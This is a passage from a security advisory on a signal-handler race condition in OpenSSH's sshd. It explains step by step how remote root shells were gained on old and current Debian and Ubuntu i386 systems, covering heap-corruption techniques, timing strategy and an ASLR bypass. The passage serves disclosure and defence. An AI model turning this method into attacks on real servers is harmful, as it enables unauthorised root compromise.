pam_start()<br /> with SIGALRM, leave one of PAM's structures in an inconsistent state,<br /> and exploit this inconsistent state during a call to pam_end(), inside<br /> the SIGALRM handler.<br /><br /> In our experiments, it takes ~10,000 tries on average to win this race<br /> condition; i.e., with 10 connections (MaxStartups) accepted per 120<br /> seconds (LoginGraceTime), it takes ~1-2 days on average to obtain a<br /> remote root shell.<br /><br />- Finally, "SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2", from<br /> "debian-12.5.0-i386-DVD-1.iso": this is the current Debian stable<br /> version, and it is vulnerable to the regression of CVE-2006-5051.<br /><br /> To remotely exploit this version, we interrupt a call to malloc() with<br /> SIGALRM (inside sshd's public-key parsing code), leave the heap in an<br /> inconsistent state, and exploit this inconsistent state during another<br /> call to malloc(), inside the SIGALRM handler (more precisely, inside<br /> syslog()).<br /><br /> In our experiments, it takes ~10,000 tries on average to win this race<br /> condition, so ~3-4 hours with 100 connections (MaxStartups) accepted<br /> per 120 seconds (LoginGraceTime). Ultimately, it takes ~6-8 hours on<br /> average to obtain a remote root shell, because we can only guess the<br /> glibc's address correctly half of the time (because of ASLR).<br /><br />This research is still a work in progress:<br /><br />- we have targeted virtual machines only, not bare-metal servers, on a<br /> mostly stable network link (~10ms packet jitter);<br /><br />- we are convinced that various aspects of our exploits can be greatly<br /> improved;<br /><br />- we have started to work on an amd64 exploit, which is much harder<br /> because of the stronger ASLR.<br /><br />A few days after we started our work on amd64, we noticed the following<br />bug report (in OpenSSH's public Bugzilla), about a deadlock in sshd's<br />SIGALRM handler:<br /><br /> https://bugzilla.mindrot.org/show_bug.cgi?id=3690<br /><br />We therefore decided to contact OpenSSH's developers immediately (to let<br />them know that this deadlock is caused by an exploitable vulnerability),<br />we put our amd64 work on hold, and we started to write this advisory.<br /><br /><br />========================================================================<br />SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3 (Debian 3.0r6, from 2005)<br />========================================================================<br /><br />------------------------------------------------------------------------<br />Theory<br />------------------------------------------------------------------------<br /><br /> But that's not like me, I'm breaking free<br /> -- The Interrupters, "Haven't Seen the Last of Me"<br /><br />The SIGALRM handler of this OpenSSH version calls packet_close(), which<br />calls buffer_free(), which calls xfree() and hence free(), which is not<br />async-signal-safe:<br /><br />------------------------------------------------------------------------<br /> 302 grace_alarm_handler(int sig)<br /> 303 {<br /> ...<br /> 307 packet_close();<br />------------------------------------------------------------------------<br /> 329 packet_close(void)<br /> 330 {<br /> ...<br /> 341 buffer_free(&input);<br /> 342 buffer_free(&output);<br /> 343 buffer_free(&outgoing_packet);<br /> 344 buffer_free(&incoming_packet);<br />------------------------------------------------------------------------<br /> 35 buffer_free(Buffer *buffer)<br /> 36 {<br /> 37 memset(buffer->buf, 0, buffer->alloc);<br /> 38 xfree(buffer->buf);<br /> 39 }<br />------------------------------------------------------------------------<br /> 51 xfree(void *ptr)<br /> 52 {<br /> 53 if (ptr == NULL)<br /> 54 fatal("xfree: NULL pointer given as argument");<br /> 55 free(ptr);<br /> 56 }<br />------------------------------------------------------------------------<br /><br />Consequently, we started to read the malloc code of this Debian's glibc<br />(2.2.5), to see if a first call to free() can be interrupted by SIGALRM<br />and exploited during a second call to free() inside the SIGALRM handler<br />(at lines 341-344, above). Because this glibc's malloc is not hardened<br />against the unlink() technique pioneered by Solar Designer in 2000, we<br />quickly spotted an interesting code path in chunk_free() (which is<br />called internally by free()):<br /><br />------------------------------------------------------------------------<br />1028 struct malloc_chunk<br />1029 {<br />1030 INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */<br />1031 INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */<br />1032 struct malloc_chunk* fd; /* double links -- used only if free. */<br />1033 struct malloc_chunk* bk;<br />1034 };<br />------------------------------------------------------------------------<br />2516 #define unlink(P, BK, FD) \<br />2517 { \<br />2518 BK = P->bk; \<br />2519 FD = P->fd; \<br />2520 FD->bk = BK; \<br />2521 BK->fd = FD; \<br />2522 } \<br />------------------------------------------------------------------------<br />3160 chunk_free(arena *ar_ptr, mchunkptr p)<br />....<br />3164 {<br />3165 INTERNAL_SIZE_T hd = p->size; /* its head field */<br />....<br />3177 sz = hd & ~PREV_INUSE;<br />3178 next = chunk_at_offset(p, sz);<br />3179 nextsz = chunksize(next);<br />....<br />3230 if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */<br />3231 {<br />....<br />3241 unlink(next, bck, fwd);<br />....<br />3244 }<br />3245 else<br />3246 set_head(next, nextsz); /* clear inuse bit */<br />....<br />3251 frontlink(ar_ptr, p, sz, idx, bck, fwd);<br />------------------------------------------------------------------------<br /><br />To exploit this code path, we arrange for sshd's heap to have the<br />following layout (chunk_X, chunk_Y, and chunk_Z are malloc()ated chunks<br />of memory, and p, s, f, b are their prev_size, size, fd, and bk fields):<br /><br />-----|---+---------------|---+---------------|---+---------------|-----<br /> ... |p|s|f|b| chunk_X |p|s|f|b| chunk_Y |p|s|f|b| chunk_Z | ...<br />-----|---+---------------|---+---------------|---+---------------|-----<br /> |<------------->|<br /> user data<br /><br />- First, if a call to free(chunk_Y) is interrupted by SIGALRM *after*<br /> line 3246 but *before* line 3251, then chunk_Y is already marked as<br /> free (because chunk_Z's PREV_INUSE bit is cleared at line 3246) but it<br /> is not yet linked into its doubly-linked list (at line 3251): in other<br /> words, chunk_Y's fd and bk pointers still contain user data (attacker-<br /> controlled data).<br /><br />- Second, if (inside the SIGALRM handler) packet_close() calls<br /> free(chunk_X), then the code block at lines 3230-3244 is entered<br /> (because chunk_Y is marked as free) and chunk_Y is unlink()ed (at line<br /> 3241): a so-called aa4bmo primitive (almost arbitrary 4 bytes mirrored<br /> overwrite), because chunk_Y's fd and bk pointers are still attacker-<br /> controlled. For more information on the unlink() technique and the<br /> aa4bmo primitive:<br /><br /> https://www.openwall.com/articles/JPEG-COM-Marker-Vulnerability#exploit<br /> http://phrack.org/issues/61/6.html#article<br /><br />- Last, with this aa4bmo primitive we overwrite the glibc's __free_hook<br /> function pointer (this old Debian version does not have ASLR, nor NX)<br /> with the address of our shellcode in the heap, thus achieving remote<br /> code execution during the next call to free() in packet_close().<br /><br />------------------------------------------------------------------------<br />Practice<br />------------------------------------------------------------------------<br /><br /> Now they're taking over and they got complete control<br /> -- The Interrupters, "Liberty"<br /><br />To mount this attack against sshd, we interrupt a call to free() inside<br />sshd's parsing code of a DSA public key (i.e., line 144 below is our<br />free(chunk_Y)) and exploit it during one of the free() calls in<br />packet_close() (i.e., one of the lines 341-344 above is our<br />free(chunk_X)):<br /><br />------------------------------------------------------------------------<br />136 buffer_get_bignum2(Buffer *buffer, BIGNUM *value)<br />137 {<br />138 u_int len;<br />139 u_char *bin = buffer_get_string(buffer, &len);<br />...<br />143 BN_bin2bn(bin, len, value);<br />144 xfree(bin);<br />145 }<br />------------------------------------------------------------------------<br /><br />Initially, however, we were never able to win this race condition (i.e.,<br />interrupt the free() call at line 144 at the right time). Eventually, we<br />realized that we could greatly improve our chances of winning this race:<br />the DSA public-key parsing code allows us to call free() four times (at<br />lines 704-707 below), and furthermore sshd allows us to attempt six user<br />authentications (AUTH_FAIL_MAX); if any one of these 24 free() calls is<br />interrupted at the right time, then we later achieve remote code<br />execution inside the SIGALRM handler.<br /><br />------------------------------------------------------------------------<br />678 key_from_blob(u_char *blob, int blen)<br />679 {<br />...<br />693 switch (type) {<br />...<br />702 case KEY_DSA:<br />703 key = key_new(type);<br />704 buffer_get_bignum2(&b, key->dsa->p);<br />705 buffer_get_bignum2(&b, key->dsa->q);<br />706 buffer_get_bignum2(&b, key->dsa->g);<br />707 buffer_get_bignum2(&b, key->dsa->pub_key);<br />------------------------------------------------------------------------<br /><br />With this improvement, we finally won the race condition after ~1 month:<br />we were happy (and did a root-shell dance), but we also felt that there<br />was still room for improvement.<br /><br />------------------------------------------------------------------------<br />Timing<br />------------------------------------------------------------------------<br /><br /> Don't worry, just wait and see<br /> -- The Interrupters, "Haven't Seen the Last of Me"<br /><br />We therefore implemented the following threefold timing strategy:<br /><br />- We do not wait until the last moment to send our (rather large) DSA<br /> public-key packet to sshd: instead, we send the entire packet minus<br /> one byte (the last byte) long before the LoginGraceTime, and send the<br /> very last byte at the very last moment, to minimize the effects of<br /> network delays. (And we disable the Nagle algorithm.)<br /><br />- We keep track of the median round-trip time (by regularly sending<br /> packets that produce a response from sshd), and keep track of the<br /> difference between the moment we are expecting our connection to be<br /> closed by sshd (essentially the moment we receive the first byte of<br /> sshd's banner, plus LoginGraceTime) and the moment our connection is<br /> really closed by sshd, and accordingly adjust our timing (i.e., the<br /> moment when we send the last byte of our DSA packet).<br /><br /> These time differences allow us to track clock skews and network<br /> delays, which show predictable patterns over time: we experimented<br /> with linear and spline regressions, but in the end, nothing worked<br /> better than simply re-using the most recent measurement. Possibly,<br /> deep learning might yield even better results; this is left as an<br /> exercise for the interested reader.<br /><br />- More importantly, we further increase our chances of winning this race<br /> condition by slowly adjusting our timing through involuntary feedback<br /> from sshd:<br /><br /> - if we receive a response (SSH2_MSG_USERAUTH_FAILURE) to our DSA<br /> public-key packet, then we sent it too early (sshd had the time to<br /> receive our packet in the unprivileged child, parse it, send it to<br /> the privileged child, parse it there, and send a response all the<br /> way back to us);<br /><br /> - if we cannot even send the last byte of our DSA packet, then we<br /> waited too long (sshd already received the SIGALRM and closed our<br /> connection);<br /><br /> - if we can send the last byte of our DSA packet, and receive no<br /> response before sshd closes our connection, then our timing was<br /> reasonably accurate.<br /><br /> This feedback allows us to target what we call the "large" race<br /> window: hitting it does not guarantee that we win the race condition,<br /> but inside this large window are the 24 "small" race windows (inside<br /> the 24 free() calls) that, if hit, guarantee that we do win the race<br /> condition.<br /><br />With these improvements, it takes ~10,000 tries on average to win this<br />race condition; i.e., with 10 connections (MaxStartups) accepted per 600<br />seconds (LoginGraceTime), it takes ~1 week on average to obtain a remote<br />root shell.<br /><br /><br />========================================================================<br />SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3 (Ubuntu 6.06.1, from 2006)<br />========================================================================<br /><br />------------------------------------------------------------------------<br />Theory, take one<br />------------------------------------------------------------------------<br /><br /> I sleep when the sun starts to rise<br /> -- The Interrupters, "Alien"<br /><br />The SIGALRM handler of this OpenSSH version does not call packet_close()<br />anymore; moreover, this Ubuntu's glibc (2.3.6) always takes a mandatory<br />lock when entering the functions of the malloc family (even if single-<br />threaded like sshd), which prevents us from interrupting a call to one<br />of the malloc functions and later exploiting it during another call to<br />these functions (they would always deadlock). We must find another<br />solution.<br /><br />CVE-2006-5051 mentions a double-free in GSSAPI, but GSSAPI (or Kerberos)<br />is not enabled by default, so this does not sound very appealing. On the<br />other hand, PAM is enabled by default, and pam_end() is called by sshd's<br />SIGALRM handler (and is, of course, not async-signal-safe). We therefore<br />searched for a PAM function that, if interrupted by SIGALRM at the right<br />time, would leave PAM's internal structures in an inconsistent state,<br />exploitable during pam_end() in the SIGALRM handler. We found<br />pam_set_data():<br /><br />------------------------------------------------------------------------<br /> 33 int pam_set_data(<br /> 34 pam_handle_t *pamh,<br /> ..<br /> 37 void (*cleanup)(pam_handle_t *pamh, void *data, int error_status))<br /> 38 {<br /> 39 struct pam_data *data_entry;<br /> ..<br /> 57 } else if ((data_entry = malloc(sizeof(*data_entry)))) {<br /> ..<br /> 65 data_entry->next = pamh->data;<br /> 66 pamh->data = data_entry;<br /> ..<br /> 74 data_entry->cleanup = cleanup;<br />------------------------------------------------------------------------<br /><br />If this function is interrupted by SIGALRM *after* line 66 but *before*<br />line 74, then data_entry is already linked into PAM's structures (pamh),<br />but its cleanup field (a function pointer) is not yet initialized (since<br />the malloc() at line 57 does not initialize its memory). If we are able<br />to control cleanup (through leftovers from previous heap allocations),<br />then we can execute arbitrary code when pam_end() (inside the SIGALRM<br />handler) calls _pam_free_data() (at line 118):<br /><br />------------------------------------------------------------------------<br />104 void _pam_free_data(pam_handle_t *pamh, int status)<br />105 {<br />106 struct pam_data *last;<br />107 struct pam_data *data;<br />...<br />112 data = pamh->data;<br />113 <br />114 while (data) {<br />115 last = data;<br />116 data = data->next;<br />117 if (last->cleanup) {<br />118 last->cleanup(pamh, last->data, status);<br />------------------------------------------------------------------------<br /><br />This would have been an extremely simple exploit; unfortunately, we<br />completely overlooked that pam_set_data() can only be called from PAM<br />modules: if we interrupt it with SIGALRM, then pamh->caller_is is still<br />_PAM_CALLED_FROM_MODULE, in which case pam_end() returns immediately,<br />without ever calling _pam_free_data(). Back to the drawing board.<br /><br />------------------------------------------------------------------------<br />Theory, take two<br />------------------------------------------------------------------------<br /><br /> Not giving up, it's not what we do<br /> -- The Interrupters, "Title Holder"<br /><br />We noticed that, at line 601 below, sshd passes a pointer to its global<br />sshpam_handle pointer directly to pam_start() (which is called once per<br />connection):<br /><br />------------------------------------------------------------------------<br /> 202 static pam_handle_t *sshpam_handle = NULL;<br />------------------------------------------------------------------------<br /> 584 sshpam_init(Authctxt *authctxt)<br /> 585 {<br /> ...<br /> 600 sshpam_err =<br /> 601 pam_start(SSHD_PAM_SERVICE, user, &store_conv, &sshpam_handle);<br />------------------------------------------------------------------------<br /><br />We therefore decided to look into pam_start() itself: if interrupted by<br />SIGALRM, it might leave the structure pointed to by sshpam_handle in an<br />inconsistent state, which could then be exploited inside the SIGALRM<br />handler, when "pam_end(sshpam_handle, sshpam_err)" is called.<br /><br />------------------------------------------------------------------------<br /> 18 int pam_start (<br /> ..<br /> 22 pam_handle_t **pamh)<br /> 23 {<br /> ..<br /> 32 if ((*pamh = calloc(1, sizeof(**pamh))) == NULL) {<br />...<br />110 if ( _pam_init_handlers(*pamh) != PAM_SUCCESS ) {<br />------------------------------------------------------------------------<br /> 319 int _pam_init_handlers(pam_handle_t *pamh)<br /> 320 {<br /> ...<br /> 398 retval = _pam_parse_conf_file(pamh, f, pamh->service_name, PAM_T_ANY<br />------------------------------------------------------------------------<br /> 66 static int _pam_parse_conf_file(pam_handle_t *pamh, FILE *f<br /> ..<br /> 73 {<br /> ...<br /> 252 res = _pam_add_handler(pamh, must_fail, other<br />------------------------------------------------------------------------<br /> 581 int _pam_add_handler(pam_handle_t *pamh<br /> ...<br /> 585 {<br /> ...<br /> 755 the_handlers = (other) ? &pamh->handlers.other : &pamh->handlers.conf;<br /> ...<br /> 767 handler_p = &the_handlers->authenticate;<br /> ...<br /> 874 if ((*handler_p = malloc(sizeof(struct handler))) == NULL) {<br /> ...<br /> 886 (*handler_p)->next = NULL;<br />------------------------------------------------------------------------<br /><br />At line 32, pam_start() immediately sets sshd's sshpam_handle to a<br />calloc()ated chunk of memory; this is safe, because calloc() initializes<br />this memory to zero. On the other hand, if _pam_add_handler() (which is<br />called multiple times by pam_start()) is interrupted by SIGALRM *after*<br />line 874 but *before* line 886, then a malloc()ated structure is linked<br />into pamh, but its next field is not yet initialized. If we are able to<br />control next (through leftovers from previous heap allocations), then we<br />can pass an arbitrary pointer to free() during the call to pam_end()<br />(inside the SIGALRM handler), at line 1020 (and line 1017) below:<br /><br />------------------------------------------------------------------------<br /> 11 int pam_end(pam_handle_t *pamh, int pam_status)<br /> 12 {<br /> ..<br /> 31 if ((ret = _pam_free_handlers(pamh)) != PAM_SUCCESS) {<br />------------------------------------------------------------------------<br /> 925 int _pam_free_handlers(pam_handle_t *pamh)<br /> 926 {<br /> ...<br /> 954 _pam_free_handlers_aux(&(pamh->handlers.conf.authenticate));<br />------------------------------------------------------------------------<br />1009 void _pam_free_handlers_aux(struct handler **hp)<br />1010 {<br />1011 struct handler *h = *hp;<br />1012 struct handler *last;<br />....<br />1015 while (h) {<br />1016 last = h;<br />1017 _pam_drop(h->argv); /* This is all alocated in a single chunk */<br />1018 h = h->next;<br />1019 memset(last, 0, sizeof(*last));<br />1020 free(last);<br />1021 }<br />------------------------------------------------------------------------<br /><br />Because the malloc of this Ubuntu's glibc is already hardened against<br />the old unlink() technique, we decided to transform our arbitrary free()<br />into the Malloc Maleficarum's House of Mind (fastbin version): we free()<br />our own NON_MAIN_ARENA chunk, point our fake arena to sshd's .got.plt<br />(this Ubuntu's sshd has ASLR but not PIE), and overwrite _exit()'s entry<br />with the address of our shellcode in the heap (this Ubuntu's heap is<br />still executable by default). For more information on the Malloc<br />Maleficarum:<br /><br /> https://seclists.org/bugtraq/2005/Oct/118<br /><br />------------------------------------------------------------------------<br />Practice<br />------------------------------------------------------------------------<br /><br /> I learned everything the hard way<br /> -- The Interrupters, "The Hard Way"<br /><br />To mount this attack against sshd, we initially faced three problems:<br /><br />- The House of Mind requires us to store the pointer to our fake arena<br /> at address 0x08100000 in the heap; but are we able to store attacker-<br /> controlled data at such a high address? Because sshd calls pam_start()<br /> at the very beginning of the user authentication, we do not control<br /> anything except the user name itself; luckily, a user name of length<br /> ~128KB (shorter than DEFAULT_MMAP_THRESHOLD) allows us to store our<br /> own data at address 0x08100000.<br /><br />- The size field of our fake NON_MAIN_ARENA chunk must not be too large<br /> (to pass free()'s security checks); i.e., it must contain null bytes.<br /> But our long user name is a null-terminated string that cannot contain<br /> null bytes; luckily we remembered that _pam_free_handlers_aux() zeroes<br /> the structures that it free()s (line 1019 above): we therefore "patch"<br /> the size field of our fake chunk with such a memset(0), and only then<br /> free() it.<br /><br />- We must survive several calls to free() (at lines 1017 and 1020 above)<br /> before the free() of our fake NON_MAIN_ARENA chunk. We transform these<br /> free()s into no-ops by pointing them to fake IS_MMAPPED chunks: free()<br /> calls munmap_chunk(), which calls munmap(), which fails because these<br /> fake IS_MMAPPED chunks are misaligned; effectively a no-op, because<br /> assert()ion failures are not enforced in this Ubuntu's glibc.<br /><br />Finally, our long user name also allows us to control the potentially<br />uninitialized next field of 20 different structures (through leftovers<br />from temporary copies of our long user name), because pam_start() calls<br />_pam_add_handler() multiple times; i.e., our large race window contains<br />20 small race windows.<br /><br />------------------------------------------------------------------------<br />Timing<br />------------------------------------------------------------------------<br /><br /> Same tricks they used before<br /> -- The Interrupters, "Divide Us"<br /><br />For this attack against Ubuntu 6.06.1, we simply re-used the timing<br />strategy that we used against Debian 3.0r6: it takes ~10,000 tries on<br />average to win the race condition, and with 10 connections (MaxStartups)<br />accepted per 120 seconds (LoginGraceTime), it takes ~1-2 days on average<br />to obtain a remote root shell.<br /><br />Note: because this Ubuntu's glibc always takes a mandatory lock when<br />entering the functions of the malloc family, an unlucky attacker might<br />deadlock all 10 MaxStartups connections before obtaining a root shell;<br />we have not tried to work around this problem because our ultimate goal<br />was to exploit a modern OpenSSH version anyway.<br /><br /><br />========================================================================<br />SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2 (Debian 12.5.0, from 2024)<br />========================================================================<br /><br />------------------------------------------------------------------------<br />Theory<br />------------------------------------------------------------------------<br /><br /> Now you're ready, take the demons head on<br /> -- The Interrupters, "Be Gone"<br /><br />The SIGALRM handler of this OpenSSH version does not call packet_close()<br />nor pam_end(); in fact it calls only one interesting function, syslog():<br /><br />------------------------------------------------------------------------<br /> 358 grace_alarm_handler(int sig)<br /> 359 {<br /> ...<br /> 370 sigdie("Timeout before authentication for %s port %d",<br /> 371 ssh_remote_ipaddr(the_active_state),<br /> 372 ssh_remote_port(the_active_state));<br />------------------------------------------------------------------------<br /> 96 #define sigdie(...) sshsigdie(__FILE__, __func__, __LINE__, 0, SYSLOG_LEVEL_ERROR, NULL, __VA_ARGS__)<br />------------------------------------------------------------------------<br />451 sshsigdie(const char *file, const char *func, int line, int showfunc,<br />452 LogLevel level, const char *suffix, const char *fmt, ...)<br />453 {<br />...<br />457 sshlogv(file, func, line, showfunc, SYSLOG_LEVEL_FATAL,<br />458 suffix, fmt, args);<br />------------------------------------------------------------------------<br />464 sshlogv(const char *file, const char *func, int line, int showfunc,<br />465 LogLevel level, const char *suffix, const char *fmt, va_list args)<br />466 {<br />...<br />489 do_log(level, forced, suffix, fmt2, args);<br />------------------------------------------------------------------------<br />337 do_log(LogLevel level, int force, const char *suffix, const char *fmt,<br />338 va_list args)<br />339 {<br />...<br />419 syslog(pri, "%.500s", fmtbuf);<br />------------------------------------------------------------------------<br /><br />Our two key questions, then, are: Does the syslog() of this Debian's<br />glibc (2.36) call async-signal-unsafe functions such as malloc() and<br />free()? And if yes, does this glibc still take a mandatory lock when<br />entering the functions of the malloc family?<br /><br />- Luckily for us attackers, the answer to our first question is yes; if,<br /> and only if, the syslog() inside the SIGALRM handler is the very first<br /> call to syslog(), then __localtime64_r() (which is called by syslog())<br /> calls malloc(304) to allocate a FILE structure (at line 166) and calls<br /> malloc(4096) to allocate an internal read buffer (at line 186):<br /><br />------------------------------------------------------------------------<br /> 28 __localtime64_r (const __time64_t *t, struct tm *tp)<br /> 29 {<br /> 30 return __tz_convert (*t, 1, tp);<br />------------------------------------------------------------------------<br />567 __tz_convert (__time64_t timer, int use_localtime, struct tm *tp)<br />568 {<br />...<br />577 tzset_internal (tp == &_tmbuf && use_localtime);<br />------------------------------------------------------------------------<br />367 tzset_internal (int always)<br />368 {<br />...<br />405 __tzfile_read (tz, 0, NULL);<br />------------------------------------------------------------------------<br />105 __tzfile_read (const char *file, size_t extra, char **extrap)<br />106 {<br />...<br />109 FILE *f;<br />...<br />166 f = fopen (file, "rce");<br />...<br />186 if (__builtin_expect (__fread_unlocked ((void *) &tzhead, sizeof (tzhead),<br />187 1, f) != 1, 0)<br />------------------------------------------------------------------------<br /><br /> Note: because we do not control anything about these malloc()ations<br /> (not their order, not their sizes, not their contents), we took the<br /> "rce" at line 166 as a much-needed good omen.<br /><br />- And luckily for us, the answer to our second question is no; since<br /> October 2017, the glibc's malloc functions do not take any lock<br /> anymore, when single-threaded (like sshd):<br /><br /> https://sourceware.org/git?p=glibc.git;a=commit;h=a15d53e2de4c7d83bda251469d92a3c7b49a90db<br /> https://sourceware.org/git?p=glibc.git;a=commit;h=3f6bb8a32e5f5efd78ac08c41e623651cc242a89<br /> https://sourceware.org/git?p=glibc.git;a=commit;h=905a7725e9157ea522d8ab97b4c8b96aeb23df54<br /><br />Moreover, this Debian version suffers from the ASLR weakness described<br />in the following great blog posts (by Justin Miller and Mathias Krause,<br />respectively):<br /><br /> https://zolutal.github.io/aslrnt/<br /> https://grsecurity.net/toolchain_necromancy_past_mistakes_haunting_aslr<br /><br />Concretely, in the case of sshd on i386, every memory mapping is<br />randomized normally (sshd's PIE, the heap, most libraries, the stack),<br />but the glibc itself is always mapped either at address 0xb7200000 or at<br />address 0xb7400000; in other words, we can correctly guess the glibc's<br />address half of the time (a small price to pay for defeating ASLR). In<br />our exploit we assume that the glibc is mapped at address 0xb7400000,<br />because it is slightly more common than 0xb7200000.<br /><br />Our next question is: which code paths inside the glibc's malloc<br />functions, if interrupted by SIGALRM at the right time, leave the heap<br />in an inconsistent state, exploitable during one of the malloc() calls<br />inside the SIGALRM handler?<br /><br />We found several interesting (and surprising!) code paths, but the one<br />we chose involves only relative sizes, not absolute addresses (unlike<br />various code paths inside unlink_chunk(), for example); this difference<br />might prove crucial for a future amd64 exploit. This code path, inside<br />malloc(), splits a large free chunk (victim) into two smaller chunks;<br />the first chunk is returned to malloc()'s caller (at line 4345) and the<br />second chunk (remainder) is linked into an unsorted list of free chunks<br />(at lines 4324-4327):<br /><br />------------------------------------------------------------------------<br />1449 #define set_head(p, s) ((p)->mchunk_size = (s))<br />------------------------------------------------------------------------<br />3765 _int_malloc (mstate av, size_t bytes)<br />3766 {<br />....<br />3798 nb = checked_request2size (bytes);<br />....<br />4295 size = chunksize (victim);<br />....<br />4300 remainder_size = size - nb;<br />....<br />4316 remainder = chunk_at_offset (victim, nb);<br />....<br />4320 bck = unsorted_chunks (av);<br />4321 fwd = bck->fd;<br />....<br />4324 remainder->bk = bck;<br />4325 remainder->fd = fwd;<br />4326 bck->fd = remainder;<br />4327 fwd->bk = remainder;<br />....<br />4337 set_head (victim, nb | PREV_INUSE |<br />4338 (av != &main_arena ? NON_MAIN_ARENA : 0));<br />4339 set_head (remainder, remainder_size | PREV_INUSE);<br />....<br />4343 void *p = chunk2mem (victim);<br />....<br />4345 return p;<br />------------------------------------------------------------------------<br /><br />- If this code path is interrupted by SIGALRM *after* line 4327 but<br /> *before* line 4339, then the remainder chunk of this split is already<br /> linked into the unsorted list of free chunks (lines 4324-4327), but<br /> its size field (mchunk_size) is not yet initialized (line 4339).<br /><br />- If we are able to control its size field (through leftovers from<br /> previous heap allocations), then we can make this remainder chunk<br /> larger and overlap with other heap chunks, and therefore corrupt heap<br /> memory when this enlarged, overlapping remainder chunk is eventually<br /> malloc()ated and written to (inside the SIGALRM handler).<br /><br />Our last question, then, is: given that we do not control anything about<br />the malloc() calls inside the SIGALRM handler, what can we overwrite in<br />the heap to achieve arbitrary code execution before sshd calls _exit()<br />(in sshsigdie())?<br /><br />Because __tzfile_read() (inside the SIGALRM handler) malloc()ates a FILE<br />structure in the heap (at line 166 above), and because FILE structures<br />have a long history of abuse for arbitrary code execution, we decided to<br />aim our heap corruption at this FILE structure. This is, however, easier<br />said than done: our heap corruption is very limited, and FILE structures<br />have been significantly hardened over the years (by IO_validate_vtable()<br />and PTR_DEMANGLE(), for example).<br /><br />Eventually, we devised the following technique (which seems to be<br />specific to the i386 glibc -- the amd64 glibc does not seem to use<br />_vtable_offset at all):<br /><br />- with our limited heap corruption, we overwrite the _vtable_offset<br /> field (a single signed char) of __tzfile_read()'s FILE structure;<br /><br />- the glibc's libio functions will therefore look for this FILE<br /> structure's vtable pointer (a pointer to an array of function<br /> pointers) at a non-zero offset (our overwritten _vtable_offset),<br /> instead of the default zero offset;<br /><br />- we (attackers) can easily control this fake vtable pointer (through<br /> leftovers from previous heap allocations), because the FILE structure<br /> around this offset is not explicitly initialized by fopen();<br /><br />- to pass the glibc's security checks, our fake vtable pointer must<br /> point somewhere into the __libc_IO_vtables section: we decided to<br /> point it to the vtable for wide-character streams, _IO_wfile_jumps<br /> (i.e., to 0xb761b740, since we assume that the glibc is mapped at<br /> address 0xb7400000);<br /><br />- as a result, __fread_unlocked() (at line 186 above) calls<br /> _IO_wfile_underflow() (instead of _IO_file_underflow()), which calls a<br /> function pointer (__fct) that basically comes from a structure whose<br /> pointer (_codecvt) is yet another field of the FILE structure;<br /><br />- we (attackers) can easily control this _codecvt pointer (through<br /> leftovers from previous heap allocations, because this field of the<br /> FILE structure is not explicitly initialized by fopen()), which also<br /> allows us to control the __fct function pointer.<br /><br />In summary, by overwriting a single byte (_vtable_offset) of the FILE<br />structure malloc()ated by fopen(), we can call our own __fct function<br />pointer and execute arbitrary code during __fread_unlocked().<br /><br />------------------------------------------------------------------------<br />Practice<br />------------------------------------------------------------------------<br /><br /> I wanted it perfect, no wrinkles in it<br /> -- The Interrupters, "In the Mirror"<br /><br />To mount this attack against sshd's privileged child, let us first<br />imagine the following heap layout (the "XXX"s are "barrier" chunks that<br />allow us to make holes in the heap; for example, small memory-leaked<br />chunks):<br /><br />---|----------------------------------------------|---|------------|---<br />XXX| large hole |XXX| small hole |XXX<br />---|----------------------------------------------|---|------------|---<br /> | ~8KB | | 320B |<br /><br />- shortly before sshd receives the SIGALRM, we malloc()ate a ~4KB chunk<br /> that splits the large ~8KB hole into two smaller chunks:<br /><br />---|-----------------------|----------------------|---|------------|---<br />XXX| large allocated chunk | free remainder chunk |XXX| small hole |XXX<br />---|-----------------------|----------------------|---|------------|---<br /> | ~4KB | ~4KB | | 320B |<br /><br />- but if this malloc() is interrupted by SIGALRM *after* line 4327 but<br /> *before* line 4339, then the remainder chunk of this split is already<br /> linked into the unsorted list of free chunks, but its size field is<br /> under our control (through leftovers from previous heap allocations),<br /> and this artificially enlarged remainder chunk overlaps with the<br /> following small hole:<br /><br />---|-----------------------|----------------------|---|------------|---<br />XXX| large allocated chunk | real remainder chunk |XXX| small hole |XXX<br />---|-----------------------|----------------------|---|------------|---<br /> | ~4KB |<------------------------------------->|<br /> artificially enlarged remainder chunk<br /><br />- when the SIGALRM handler calls syslog() and hence __tzfile_read(),<br /> fopen() malloc()ates the small hole for its FILE structure, and<br /> __fread_unlocked() malloc()ates a 4KB read buffer, thereby splitting<br /> the enlarged remainder chunk in two (the 4KB read buffer and a small<br /> remainder chunk):<br /><br />---|-----------------------|----------------------|---|------------|---<br />XXX| large allocated chunk | |XXX| FILE |XXX<br />---|-----------------------|----------------------|---|--|---------|---<br /> | ~4KB |<--------------------------->|<------->|<br /> 4KB read buffer remainder<br /><br />- we therefore overwrite parts of the FILE structure with the internal<br /> header of this small remainder chunk: more precisely, we overwrite the<br /> FILE's _vtable_offset with the third byte of this header's bk field,<br /> which is a pointer to the unsorted list of free chunks, 0xb761d7f8<br /> (i.e., we overwrite _vtable_offset with 0x61);<br /><br />- then, as explained in the "Theory" subsection, __fread_unlocked()<br /> calls _IO_wfile_underflow() (instead of _IO_file_underflow()), which<br /> calls our own __fct function pointer (through our own _codecvt<br /> pointer) and executes our arbitrary code.<br /><br /> Note: we have not yet explained how to reliably go from a controlled<br /> _codecvt pointer to a controlled __fct function pointer; we will do<br /> so, but we must first solve a more pressing problem.<br /><br />Indeed, we learned from our work on older OpenSSH versions that we will<br />never win this signal handler race condition if our large race window<br />contains only one small race window. Consequently, we implemented the<br />following strategy, based on the following heap layout:<br /><br />---|------------|---|------------|---|------------|---|------------|---<br />XXX|large hole 1|XXX|small hole 1|XXX|large hole 2|XXX|small hole 2|...<br />---|------------|---|------------|---|------------|---|------------|---<br /> | ~8KB | | 320B | | ~8KB | | 320B |<br /><br />The last packet that we send to sshd (shortly before the delivery of<br />SIGALRM) forces sshd to perform the following sequence of malloc()<br />calls: malloc(~4KB), malloc(304), malloc(~4KB), malloc(304), etc.<br /><br />1/ Our first malloc(~4KB) splits the large hole 1 in two:<br /><br />- if this first split is interrupted by SIGALRM at the right time, then<br /> the fopen() inside the SIGALRM handler malloc()ates the small hole 